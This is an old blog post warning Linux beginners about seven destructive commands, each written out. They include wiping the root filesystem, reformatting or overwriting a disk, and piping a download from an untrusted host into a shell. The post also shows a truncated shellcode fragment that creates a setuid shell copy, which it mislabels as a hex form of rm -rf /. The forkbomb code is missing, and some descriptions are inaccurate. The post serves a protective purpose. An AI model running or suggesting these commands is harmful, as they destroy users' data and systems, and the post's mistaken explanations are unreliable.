The 7 Deadly Linux Commands

Posted by jun auza On 11/20/2008
If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:


Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

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"Action is the real measure of intelligence" ~Napoleon Hill



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